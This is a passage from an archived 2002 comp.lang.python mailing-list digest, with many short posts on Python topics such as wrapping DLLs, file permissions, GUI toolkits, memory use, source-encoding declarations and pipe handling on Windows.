the functions in the DLL using Python. I am > employing the standard methodology (found in the Python DOCS) and > following the templates I have written in C/C++ to wrap each function in > the DLL. However, when I run my Python module I get an error which is > perplexing. > > In C++, I do: > > handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); > typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); > SLAPI_LOGGEDIN LoggedIn; > LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); > boolResult = (BOOL) LoggedIn(); > > This works fine for this and all other functions directly in C++. > > My C++ wrapper to be used by Python, is almost identical: > > static PyObject *slgx_LoggedIn(PyObject *self, PyObject *args) { > > handle = (HINSTANCE) LoadLibrary("SlgxApi.dll"); > typedef LPBYTE (CALLBACK* SLAPI_LOGGEDIN) (void); > SLAPI_LOGGEDIN LoggedIn; > LoggedIn = (SLAPI_LOGGEDIN)GetProcAddress(handle, "slapi_LoggedIn"); > boolResult = (BOOL) LoggedIn(); > } > > While I didn't show all the C++ Wrapper code, when I export the wrapper > and execute it within Python, I get the following error: > > ERROR --> Could not find entry point for slapi_LoggedIn > > I don't know why I am getting this error and don't really know what would > be causing it. I'd appreciate any help on your part. (Also, I want to use > the C++ wrapper approach rather than CALLDLL by Sam Rushing because there > are some type-specific issues that are most easily resolvable using the > C++ wrapper). > > Thanks, > > Rajat From deckerben at freenet.de Sat May 4 23:14:52 2002 From: deckerben at freenet.de (deckerben) Date: Sun, 5 May 2002 05:14:52 +0200 Subject: Looking for a scripting language Message-ID: <3cd49f78$0$355$9b622d9e@news.freenet.de> Greetings. I am just asking for someone's opinion. I want to pick a scripting language. I have decided that the black-and-white approach of 'just know C and Java' may not be sufficient. I ahve several windows scripts (batch files) that I would like to re-write in the language of a single interpreter. As part of my experimentation, I ported the Python source (2.5 and 2.0.1) to DOS using DJGPP. First, I need to re-write some PC batchfiles that do just about everything (string manipulation, computation, sub-process calling, system variable-setting, etc.) in the single scripting language of just one interpreter. That is, I want to illiminate the need to call an outside executable to handle a certian task as much as possible (to increase speed). But the interpreter needs to be as flexible as a shell prompt in its ability to handle command-line arguments, file I/O, and extern-executable calls. BTW: Can Python temporarily 'shell' to an external executable? I am currently considering: PERL, JAVASCRIPT, PYTHON and LISP. Which would work the best? Which one of these languages has the greatest demand for programmers at the moment? Is there another language I should consider? Ben From aahz at pythoncraft.com Sat May 4 12:52:33 2002 From: aahz at pythoncraft.com (Aahz) Date: 4 May 2002 12:52:33 -0400 Subject: Slight irritation with try/finally indentation References: Message-ID: In article , =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: >[Bengt Richter] >> >> what about the bigger picture? E.g.,: >> >> try: >> acquire_resources() >> try: >> process() >> finally: >> release_resources() >> except AcquireResourceFailure: >> handle_resource_acquisition_failure() >> except ProcessFailure: >> handle_process_failure() >> else: >> wrap_up_clean_process_completion() > >I see your idea, Bengt, but I fear it would not be practical in my case. >As I use such constructs a bit all over the place and very often in the >application I am working on, bloating every occurrence would be unfortunate >for the overall aspect of the program. > >Your suggestion would be very welcome if used only a few times, near the >outer extent of the overall organisation of a big program. I think Bengt would suggest (and I *know* Alex would suggest) that you wrap all this up in a function where you pass in function pointers. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From pearu at cens.ioc.ee Tue May 21 15:10:04 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Tue, 21 May 2002 22:10:04 +0300 (EEST) Subject: ANSI colored output: How to determine how python was called? In-Reply-To: Message-ID: On 21 May 2002, David M. Cooke wrote: > I think what you want is something like: > > def term_has_colours(): > if not sys.stdout.isatty(): > return 0 > curses.start_color() > return curses.has_colors() > > curses.wrapper does more than you need. I use something like the above > in my $PYTHONSTARTUP file to give me a coloured prompt. The problem with the above is that it also needs curses.initscr() that in my python prompt messed up the terminal completely so that I have to blindly exit python and reset the terminal. And curses.endwin() did not fixed the mess up either. That's the reason why I ended up with using curses.wrapper that returns with properly restoring the current terminal. Thanks, Pearu From boud at valdyas.org Mon May 20 04:13:51 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Mon, 20 May 2002 10:13:51 +0200 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> Message-ID: <3ce8b333$0$3888$e4fe514c@dreader4.news.xs4all.nl> Adonis wrote: > this might provoke a flame war, which i hope that it will not occur, and > hope that it can be responded in a more mature intellectual manner. my > question is can a program written in Python be sold? i have read the > python license and could not find it too clear, or i just have misread it. > if not, can the fact of the actual "service/time spent" used to produce > the program be a warrant for receiving a profit? Sure, you can sell your program. You don't even need to open-source it, even though that would be appreciated by the rest of the world, and probably by your development team. Look at commercial programs like Wing IDE or Zope. -- Boudewijn Rempt | http://www.valdyas.org From kragen at pobox.com Wed May 22 01:59:49 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 22 May 2002 01:59:49 -0400 Subject: Grep in Python References: Message-ID: <83it5giuy2.fsf@panacea.canonical.org> coolslife at yahoo.com (coolslife) writes: > I saw that lots of people have implemented their own version of grep > and most have called it "pygrep". (Am I right about that?). Since this > is a resource consuming activity, does anyone have any idea what > might be a optimum way to implement this? See "NR-grep: A Fast and Flexible Pattern Matching Tool", by Gonzalo Navarro, at http://www.dcc.uchile.cl/~gnavarro/ps/spe01.ps.gz for how to search text fast. From sholden at holdenweb.com Thu May 2 16:20:44 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 16:20:44 -0400 Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> <20020502144016.GA16810@teich.Garten.DigitalProjects.com> <20020502150017.B25531@eecs.tufts.edu> Message-ID: <3ghA8.57459$Au5.18462@atlpnn01.usenetserver.com> "Alexander Skwar" wrote in ... > > ?Michael Gilfix? sagte am 2002-05-02 um 15:00:17 -0400 : > > Just write your own map that's threadable, i.e, applies a function > > to each argument in the list and appends it. Should be trivial to > > write and you can check the threaded argument. > > Wouldn't this be way slower than the built in map? Yes. -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From gtaylor at lowebroadway.com Mon May 13 08:36:28 2002 From: gtaylor at lowebroadway.com (Garry Taylor) Date: 13 May 2002 05:36:28 -0700 Subject: Getting File Permissions Message-ID: Hi, This has been asked before, but I cannot get the solution to work, quite simply, I want to get the permissions for a file, ideally in a rwx-rwx-rwx format, but anything I can get will do! I have tried: st = os.stat('/home/gaz') mode = st[stat.ST_MODE] print "mode is", octal(mode & 0777) but it errors with: Traceback (most recent call last): File "filepermissions.py", line 5, in ? mode = st[stat.ST_MODE] NameError: name 'stat' is not defined I know this must seem really simple, but I cannot find anything that actually works, do I have to import something which not obvious? octal does not even seem to be a valid command. Is there a different way to get this information, a module or something? Thanks a lot in advance. Garry From gerhard at bigfoot.de Fri May 17 07:29:16 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 17 May 2002 13:29:16 +0200 Subject: pygtk vs. wxPython In-Reply-To: References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <20020517112916.GA1787@lilith.my-fqdn.de> * Philip Swartzleonard [2002-05-17 11:01 +0000]: > I've never used pygtk, but i'll just mention that the library stacks on > windows would look something like: > > wxpython -- wxwindows -- win32api > > pygtk -- gtk -- win32api Or pygtk -- gtk -- (gdk -- win32api) on Windows pygtk -- gtk -- (gdk -- xlib) on Unix If you want to make look gtk bloatier ;-) > Which is a bit more even. Also, aren't there other render-modules for > wx under linux than the gtk one? Yes, there's a Motif one, but I've never used it. In CVS, there are also other flavours like wxUniversal (paints all widgets itself) and backends targeted at embedded systems using MicroWindows, NanoX, ... > It's been a while since i played with it, > so I'm not really sure anymore-- all i remeber is that wx itself was a > gigantic pain to build at the time (or was it the python part that > failed... :\ ). I've had that experience, too. But it works ok now that I've figured it out. The base configuration usually builds OOTB, but in the default configuration, it depends on Mesa or OpenGL, which will lead to build errors if you don't have it installed. Getting accelerated 3D on Linux is another matter still :-/ > I really don't know if it's appropriate to base this decision on how > many libraries it takes for you to use the toolkit though... I agree. I'd also recommend to just try out the demos and actually try to write a few simple applications with both candidates. wxPython is still what I prefer, but it needs to be said that you get a Python binding to a C++ library, with the fault tolerance of the C++ language. Which means that if you do the wrong thing (call methods in the wrong order, doing stupid things like not creating an application object first) it will simply crash your Python, with not very helpful error messages. This is the only part I don't like about wxPython, because using a high-level language I would expect to get an exception if I do something stupid, not core dumps. This is especially annoying when I try stuff out at the interactive prompt, and an interpreter crash takes my whole session with it. I also like PyQt, where I never had any crashes. It's possible to write noncommercial apps with it on Windows, but the wxPython license is more liberal here. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From mwh at python.net Tue May 14 09:14:18 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 14 May 2002 13:14:18 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE0F9DD.2706108B@kfunigraz.ac.at> Message-ID: Siegfried Gonzi writes: > Michael Hudson wrote: > > > At any rate, if the OS can't claim back a processes memory when said > > process terminates, it's definitely Time To Get A Real OS. Even Macs > > can do this now... > > Oh man, the classic Mac OS 9.0 was the reason for me to jump onto the > Windows bandwagon eventually. On my Mac rebooting every 30min due to > memory problems were normal. That's what the "now" was about; I meant OS X. > You can even hurt a Unix machine (I once had the problem with Clean on a > Sun). Oh yeah, running out of VM is never nice. But what (I think) you're describing is that what a process does affects a process that runs after the first one has finished... that sounds very odd. > I have to emphasize that I also used Common Lisp (Allegro) on my > machine and some calculations consumed a hour execution time or so; > but I never noticed any memory problems (and my Lisp and Python > programming style is quite the same). ACL probably has a more advanced approach to memory, but Python doesn't do anything out of the ordinary. I'm pretty sure all it does it call the platform malloc() and free() (even with pymalloc, that's still how the arenas are allocated). > > Summary: if you're on 95/98(/Me?), get off, right now. > > I am actually using Windows XP (NT 5.1 to be correct) on a Celeron 1000 > MHz, 256 MB RAM laptop. Ah. > To make it clear: Python gives memory back (the task manager shows > it), but, I do not know,... Can't help you further, sorry... Cheers, M. -- Important data should not be entrusted to Pinstripe, as it may eat it and make loud belching noises. -- from the announcement of the beta of "Pinstripe" aka. Redhat 7.0 From jim at publishingresources.com Thu May 30 14:19:55 2002 From: jim at publishingresources.com (Jim Abrams) Date: Thu, 30 May 2002 18:19:55 -0000 Subject: Win32 ASP Problems (Response.Redirect) Message-ID: Similar problems with Redirect as with End <%@LANGUAGE="Python"%> <% Response.Redirect('/') open("D:\\testlog.txt", 'w').write("To be... or not to be.") %> File is created with message. Changes to the case of redirect have no change. So how about this: <%@LANGUAGE="Python"%> Some text <% Response.Redirect('/') Response.end() open("D:\\testlog.txt", 'w').write("To be... or not to be.") %> Aha! No file creation. But what really happened? <%@LANGUAGE="Python"%> Some text <% Response.Redirect('/') try: Response.end() except: open("D:\\testlog.txt", 'w').write("To be... or not to be.") %> Bingo. There's a Type Error in there, because, if I guess properly, after Redirect the Response object gets freed and is None. Sooo... help? Ideas? Where can I report bugs? From tanzer at swing.co.at Sun May 12 04:12:35 2002 From: tanzer at swing.co.at (Christian Tanzer) Date: Sun, 12 May 2002 10:12:35 +0200 Subject: Has Red Hat helped or hurt? In-Reply-To: Your message of "Sat, 11 May 2002 15:16:38 MDT." <20020511151638.B24475@tummy.com> Message-ID: Sean Reifschneider wrote: > >Do I understand you correctly in that it was perfectly reasonable for > >Red Hat to first ship a broken gcc and then change to a newer one > >during the 7.x series? > > It apparently fit into their upgrade policy... My understanding, from > listening to C++ programmers who were really following the issue, is that > the push to that "broken" compiler (which compiled without problem all > the extras we were shipping, BTW) was really necessary because the previous > compiler was also broken for normal use... Dealing with things like > templates and the like... The compiler they shipped generated a lot of question why Python was "broken". In such a case, it would seem reasonable to ship a standard gcc for normal use and an experimental gcc for the C++ programmers interested in templates and stuff. > >I doubt anybody would care which Python version Red Hat uses for their > >tools if they didn't make it unreasonably difficult for their users to > >use a current Python version for non-Red Hat purposes. > > It doesn't seem unreasonably difficult to use Python 2.x on Red Hat 7.x > boxes. You pick up the RPMs from python.org and install them... IMHO, the distribution should not force a specific Python version to be the default. I.e., having /usr/bin/python point to 2.x should not break any number of Red Hat utilities. Forcing the user to specify a Python version in the #! line or on the command line sucks. > Or (shameless plug), you buy KRUD which installs Python 2.2.1 as part > of a normal Red Hat-based install... I'd rather continue to use Debian, thank you. -- Christian Tanzer tanzer at swing.co.at Glasauergasse 32 Tel: +43 1 876 62 36 A-1130 Vienna, Austria Fax: +43 1 877 66 92 From shalehperry at attbi.com Tue May 7 02:40:47 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Mon, 06 May 2002 23:40:47 -0700 (PDT) Subject: What makes code "readable"? (was Re:Python vs. Perl, which i In-Reply-To: <3CD76558.F286FF73@engcorp.com> Message-ID: >> The real issue with Perl is probably the degree to which >> punctuation characters are not used *as* punctuation, but >> rather as *words* in their own right. >>[....] >> Another useful criterion (probably a bigger deal for more >> auditory-oriented folks) is "can you pronounce it?". > > Yes! It's perhaps a little known fact that most people > read "verbally", by pronouncing the words in their heads > at least in an accelerated fashion. If you can't hear > the words, you get that "then we compare _hmm_ with _hmm_ > and then _hmm_ _hmm_ _hmm_ ..." that you described. > Excellent point. > >> where each "_hmm_" is me losing my verbal focus, and >> substituting some unpronounceable concept. Since it's >> not associated with a word, it's harder to keep track >> of in your head, so it's probably easier to forget >> what you're doing. > this makes total sense. Several of the people that I know who love perl think of the punctuation marks are markers and declensions in natural language. $foo->{bar} to them reads "foo's object bar" and they do this near naturally just like we know (think this is a parenthetical aside) how to split our attention when reading plays and the like. of course I do not read this way and find perl hard to deal with. From imunitic at dijana.vest.hr Mon May 27 13:55:52 2002 From: imunitic at dijana.vest.hr (Ivica Munitic) Date: 27 May 2002 17:55:52 GMT Subject: Pmw.Blt Message-ID: I inastalled the Pmw package but when a try the BLtGraph demo i get only a label telling me that the BLT package is not installed. I fetched the BLT for Tcl83 package and that didn't help .. i don't know where to put the BLT24.dll and BLT24.lib files. I tried puting Blt24.dll into DLLs directory in Python22 root directory and Blt24.lib under the tcl directory. That also didn't help. What am I doing wrong except my English :))) From greg at cosc.canterbury.ac.nz Wed May 15 20:14:11 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 16 May 2002 12:14:11 +1200 Subject: OT: Crazy Programming References: Message-ID: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> Christopher Encapera wrote: > > While Willie Nelson's 'blue eyes cryin in the rain' might not be Mozart, it > is vastly superior (in every respect) to say, the rapper of the week (or > that "modern art" that sits in front of county hall). And that ain't no > personal opinion - that is objective truth - If it's objective, how do you measure it? Given two alleged works of art, what procedure does one use to determine which is better? -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From burt at dfki.de Thu May 2 07:35:30 2002 From: burt at dfki.de (Alastair Burt) Date: 02 May 2002 13:35:30 +0200 Subject: writing palm pdb files References: Message-ID: margerum at yahoo.com (Mike Margerum) writes: > Can someone kindly point me to some python routines to create palm > database PDB files on the desktop? The latest versions of pilot-link[1] have Python bindings for doing this. You might also be interested in: - Plucker[2]: Python routines to spider web sites and make them readable in a Palm. - Pyrite Publisher[3]: Python routines to generate several eBook formats popular with PalmOS. --- Alastair Footnotes: [1] http://www.pilot-link.org/ [2] http://www.plkr.org/ [3] http://www.pyrite.org/index.html From pearu at cens.ioc.ee Mon May 20 13:47:34 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Mon, 20 May 2002 20:47:34 +0300 (EEST) Subject: How do you code in Python ??? In-Reply-To: <3CE928AD.7D94E92@engcorp.com> Message-ID: On 20 May 2002, Peter Hansen wrote: > Dave Cook wrote: > > > > xemacs. Ctrl-C Ctrl-C to run the app. > > And Ctrl-C to stop it again? How do you keep it all straight? :-) No. Ctrl-G to stop the app. klass is class <- in estonian, in german(?) Gancel is Cancel <- in which language? ;-) Pearu From aahz at pythoncraft.com Thu May 2 16:59:47 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 16:59:47 -0400 Subject: Fixing the FAQ (was Re: Newbie: finding the key/index of the min/max element) Message-ID: In article , Steve Holden wrote: >"James J. Besemer" wrote ... >> >> Of course the FAQ itself would have to be vetted by the group, so it >> truly represents a consensus. A good FAQ is a non-trivial amount of >> work. Any volunteers? > >I did once consider doing some serious work to bring the FAQ up to >date, but I seem to remember the BDFL made some dismissive remark along >the lines of "nobody reads FAQs any more". I may be misrepresenting >him, but since he probably won't read this what the hell do I care ;-). >One major problem is the AutoFAQ's careless habit of dropping articles >into the section int he order of submission. > >We might make a good team for that task ... webmaster at python.org recently received e-mail from Stephen McInerney (spmcinerney at hotmail.com), suggesting a grand update of the FAQ. I suggested that he go to doc-sig, but now that there are three of you, it might be worth setting up a temporary special SIG. Any other takers? Based on what I'm reading in this thread, the deliverable could well end up being two separate FAQs, one that gets regularly autoposted here (and other places) and the heavy-duty informational FAQ (the current FAQ cleaned up and reorganized). I'm willing to help do some of the work, but I'm not interested in doing the organizing or politicking. ;-) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From kkto at csis.hku.hk Fri May 31 07:12:04 2002 From: kkto at csis.hku.hk (Isaac To) Date: 31 May 2002 19:12:04 +0800 Subject: Why no open(f, "w").write()? References: <83n0uimmal.fsf@panacea.canonical.org> <7i66169wbp.fsf@enark.csis.hku.hk> <1022731746.143537@yasure> Message-ID: <7ir8jsk1vf.fsf@enark.csis.hku.hk> >>>>> "Donn" == Donn Cave writes: Donn> You're describing a language other than C Python. In C Python, Donn> you *may* close files and rely on other kinds of finalizations Donn> through the reference counting garbage collector, and the result Donn> is as timely as if you did it explicitly. That's finalization as Donn> it ought to be, and it's a shame that other languages compromise Donn> on that. Lots of people don't think it's important, but then the Donn> majority of programmers think it's OK that their programming Donn> language requires them to keep track of memory in the same way. If you don't treat what said by the manual as the contract of the language, then yes. The manual explicitly says that future versions of the language might not work that way. Regards, Isaac. From loewis at informatik.hu-berlin.de Sat May 11 04:19:31 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 10:19:31 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings In-Reply-To: References: Message-ID: "David LeBlanc" writes: > Firstly it's NOT "invalid xml". It IS a well formed xml tag! It is well-formed, but it is invalid - check the XML spec. It violates at least one validity constraint, namely that the root element must be declared. > Secondly, what existing editorS recognize this -*- syntax? (let me guess: > emacs). Right. Also, IDLE supports it with a patch. vim supports it in the form fileencoding= which is also supported by the regular expression. > Can you cite a better reason for using this syntax then that it's > used by a particular platform-centric editor? Why do I need to? Why is that reason not good enough? Notice that Emacs runs on many platforms. > I get the impression that you chose this syntax out of convenience > for the editor you use more then for any generally useful reason. If there are other editors that support different means of declaring the source encoding, we should certainly investigate supporting them. In fact the current regexp was defined in response to someone observing that vim also has such a feature (even though it won't work properly in current vim releases). Also, the PEP accommodates notepad.exe, by recognizing UTF-8 signatures. > It might come as a surprise to you, but based on OS installations > around the world, more people program Python on Windows then all the > others combined and i'm willing to bet that most of them don't use > emacs or xemacs or a derivative thereof! No, but I'm sure that many of them will use notepad or IDLE to edit Python source code; both are supported by this PEP. I'm also sure that Pythonwin will implement this PEP sooner or later; if Windows users stick to using UTF-8 signatures, nearly every editor on Windows will properly detect the source encoding. Having an XML-like syntax does not help at all here. Regards, Martin From gustav at morpheus.demon.co.uk Tue May 21 11:10:24 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Tue, 21 May 2002 17:10:24 +0200 Subject: popenX() misunderstanding on win32 References: <8351bb33.0205200920.67743afb@posting.google.com> Message-ID: Steve Holden writes: > "Jon Nicoll" wrote ... > > Then, how can I use popenX() to invoke the program, and write and read > > to 'stdin' and 'stdout', to duplicate the above? my experiments so > > far, involving os.popenX() and win32pipe.popenX(), haven't got me > > anywhere - I either get nothing when I do a read, or the process hangs > > waiting for input that I think should alread be there. > > The synchronisation of input and output via pipes from a single process can > be very tricky to solve if you don't know what to expect from the program. > Even when you do, you will find that the OS's buffering system can get in > your way. This is a classic problem in half-duplex protocol design. Some suggestions: 1. flush the file descriptors frequently to make sure you don't have stuff in your stdio buffers. 2. make sure you write whole lines, with newlines at the end, before reading data back. If all else fails, you can check the output pipe to see if the program has produced data or is still waiting for more input using PeekNamedPipe (which works on anonymous pipes, too, despite the name). I have an example at home, but it's quite complicated. I suspect that flush() is probably all you need in practice. But this sort of thing *is* tricky, and you can't guarantee to avoid deadlocks... Paul. From starx at pacbell.net Wed May 8 08:06:19 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 8 May 2002 12:06:19 GMT Subject: Exception handling References: Message-ID: Michael Hudson || Wed 08 May 2002 04:37:28a: >> Also, what about raising things like strings as exceptions (which >> i've done in exapmle classes for CIS/DS projects, e.g. 'Raise >> "Linked list is empty, please verify with is_valid"' or whatever >> just for documention really). > > That's very backward behaviour; string exceptions fell out of favour > with Python 1.5 (I think; might have been 1.4 or even earlier). You > can still do this, but you shouldn't in new code. Yeah, it was just a demonstration though, that's why I used it. > Not sure what "things like strings" means; try raising anything other > than a string or an (old-style!) instance and you'll get a TypeError > instead. > Hm, you can't 'raise 5' or anything? Or anything derived from object? That's kind of wierd. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From kragen at pobox.com Thu May 23 15:11:45 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 23 May 2002 15:11:45 -0400 Subject: Add .par functionality (like Java .jar) References: <3CEBAA0E.20006@bigfoot.com> Message-ID: <837kluof0u.fsf@panacea.canonical.org> Paul Moore writes: > The main lack is the ability to handle compiled extensions, but you're > never going to get that without OS support. Just ship the necessary > .dll/.so files separately, and manipulate sys.path, if you need to. Maybe on Windows, but you don't need OS support on Linux. The .so-loading equipment on Linux is purely user-level code --- it just uses mmap() to map in the files. This is done in elf/dl-open.c and elf/dl-load.c in glibc. From tdelaney at avaya.com Thu May 30 00:54:39 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 30 May 2002 14:54:39 +1000 Subject: Why no open(f, "w").write()? Message-ID: > From: VanL [mailto:news at lindbergs.org] > > Ok, I've read the thread... but how is > > open(f, 'w').write(stuff) > > different than > > lines = open(f).readlines() > > in terms of bad/good programming practice? > > I use that second construction quite frequently. It suffers from the same problems, but the symptoms aren't as bad. With the read version, the file may still hang around without being closed. This may prevent other processes (or the same process) from opening the file. Usually when the program exists the OS will close the file. With the write version, the file may hang around without being closed or flushed. Thus when the program exits, the file may be closed without being flushed, and thus may not contain the data that you thought you wrote to it. Tim Delaney From tim.one at comcast.net Thu May 23 10:32:02 2002 From: tim.one at comcast.net (Tim Peters) Date: Thu, 23 May 2002 10:32:02 -0400 Subject: How Are Unlimited Precision Integers Accomplished? In-Reply-To: <3CECF630.8030709@destiny.com> Message-ID: [Martin v. Loewis] > Of course, you can't use processor instructions for operations on > these numbers (directly), so Python implements its own +, -, *, /, > etc. [Michael Chermside] > For those of whose interest was piqued by this question, can someone > elaborate with a simple summary of the data structure that is used, See include/longintrepr.h > the algorithms for performing the operations, See objects/longobject.c, or read Knuth vol 2. Only division and exponentiation are non-obvious. > and what senarios these are optimized for? Correctness, portability, and generated code size, not for speed (e.g., use GMP if you want peak speed, along with a history of "interesting" platform bugs ). From d_blade8 at hotmail.com Thu May 2 12:47:27 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 2 May 2002 09:47:27 -0700 Subject: remove read only flag References: <7396d2b2.0205011236.201c9cb@posting.google.com> Message-ID: <7396d2b2.0205020847.59b0b1f0@posting.google.com> Cliff Wells wrote in message news:... > On 1 May 2002 13:36:13 -0700 > os.chmod(filename, 644) works on Win2k, provided of course you own the file or > otherwise have adequate permissions to alter it. If you don't have those > permissions then I don't see how using attrib is going to get around that. > > Unless-it's-another-Windows-security-hole'ly yrs, No, not another security hole; attrib works the same as the file-permissions (in my experience). I didn't put it, but since you are iterating over a list, you can flag files you can't modify. Also, you may want certain files to retain some of their other, 'default' file permissions (attrib changes only what you put). This is what I meant about being careful about changing fps. Excellent point, though. From aahz at pythoncraft.com Sun May 19 17:22:49 2002 From: aahz at pythoncraft.com (Aahz) Date: 19 May 2002 17:22:49 -0400 Subject: Regular Expressions and RFC 822 References: Message-ID: In article , alex gigh wrote: > >I am trying to write a mail server in Python and I found out that I can use >regular expressions and then grouping: > >"For example, an RFC-822 header line is divided into a header name and a >value, separated by a ":". This can be handled by writing a regular >expression which matches an entire header line, and has one group which >matches the header name, and another group which matches the header's value. >" > >Can someone help me by showing me an example of how I could do this... Use the email module. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From phd at phd.pp.ru Wed May 29 13:02:50 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 29 May 2002 21:02:50 +0400 Subject: No parsers found... In-Reply-To: <23891c90.0205290851.3378e5c3@posting.google.com>; from paul@boddie.net on Wed, May 29, 2002 at 09:51:36AM -0700 References: <921D7A043jhewebdeagde@194.45.170.159> <23891c90.0205290851.3378e5c3@posting.google.com> Message-ID: <20020529210250.C15045@phd.pp.ru> On Wed, May 29, 2002 at 09:51:36AM -0700, Paul Boddie wrote: > Yes, on various UNIX systems you can set the LD_LIBRARY_PATH > environment variable: On all unicies that uses ELF executable file format. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From michael.melchert at ntlworld.com Sun May 5 08:25:54 2002 From: michael.melchert at ntlworld.com (Michael Melchert) Date: Sun, 05 May 2002 12:25:54 +0000 Subject: Please help! PyQt problems. References: Message-ID: Moray Taylor wrote: > Hi, > > I am having some serious grief with PyQT, my system is described > below... > > Powerbook G4 550MHz, Yellow Dog Linux 2.2 > PyQt 3.1 > Qt 3.0.3 > Sip 3.1 > Python 2.2.1 > > All the software was compiled from source, no binaries, all compiled > without fatal errors, just a couple of warnings, nothing unusual. > > The Qt examples work perfectly, however the PyQt ones do not, they all > fail with either 'Segmentation fault', or sometimes, 'Illegal > Instruction'. When I try using it with python interactivly, I get this > far > > import qt > import sys > from qt import * > > a = QApplication(sys.argv) > d = a.desktop() > e = d.width() > #The last line causes a segmentation fault. > > I have successfully used PyQt on both an x86 laptop, and SGI IRIX, > with no real problems. > > I have tried compiling all components with various options, threading, > no threading, g++ exceptions etc..., but it always fails in the same > way. > > Please, please help me, failure is not an option. > > Please reply to mtaylor at lowebroadway.com as well as the newsgroup. > > > Thanks very much in advance > > Moray get the new released bugfix version of PyQt/sip http://www.riverbankcomputing.co.uk/pyqt/ From dkt at registriesltd.com.au Tue May 21 00:33:54 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Tue, 21 May 2002 14:33:54 +1000 Subject: "One Bullet is never enough" Paper In-Reply-To: <3CE9C990.3064C01C@cascade-sys.com>; from jb@cascade-sys.com on Mon, May 20, 2002 at 09:14:08PM -0700 References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> Message-ID: <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> On Monday 2002-05-20 at 21:14:08 -0700, James J. Besemer wrote: > It is so much more informative and thought provoking than the usual > mindless, childish MS-bashing that usually goes on here. Argumentum ad hominis, as you do here by name-calling, doesn't serve any useful purpose (except insofar as it is useful to metaphorically bludgeon those who express an opinion that differs from the intellectual aggressor). People should be able to express facts and opinions, even strong ones, without being labeled "childish" and "mindless". Not everyone has hours of free time to write long diatribes in support of their position (and good on those who do). For those who think the sun shines out of corporate behemoths like Microsoft, a simple statement of disagreement, perhaps with a few actual reasons for it, might suffice, I should think. Out. David Trudgett From mwh at python.net Sun May 26 14:21:14 2002 From: mwh at python.net (Michael Hudson) Date: Sun, 26 May 2002 18:21:14 GMT Subject: symbolic python References: <3CEFAE4C.38A8022B@doc.ic.ac.uk> <83off4jdzu.fsf@panacea.canonical.org> <3CEFDC9D.84061C83@doc.ic.ac.uk> Message-ID: Benjamin Tai writes: > Kragen Sitaker wrote: > > > Benjamin Tai writes: > > > Is there any chance to print out the code inside the function_body? > > > > > > When I receive a method object, would it be possible to get into the > > > function_body, and dynamically change the method's behaviour? > > > > Yes, see bytecodehacks. > > Hi, > > Looks very interesting. Thank you very much for the advise. But please note there's likely to be a better way of doing anything you actually want to get done... Cheers, M. -- QNX... the OS that walks like a duck, quacks like a duck, but is, in fact, a platypus. ... the adventures of porting duck software to the platypus were avoidable this time. -- Chris Klein, alt.sysadmin.recovery From jjl at pobox.com Mon May 6 16:40:36 2002 From: jjl at pobox.com (John J. Lee) Date: Mon, 6 May 2002 21:40:36 +0100 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <3CD60E05.D9D8C1A6@engcorp.com> Message-ID: On Mon, 6 May 2002, DeepBleu wrote: [...] > I can not understand how anyone can even recommend Perl, a beat up clunky > ugly language, for a project in a modern setting. Perl has masses of free library code. If there's reusable code in Perl and not in Python, it makes sense to 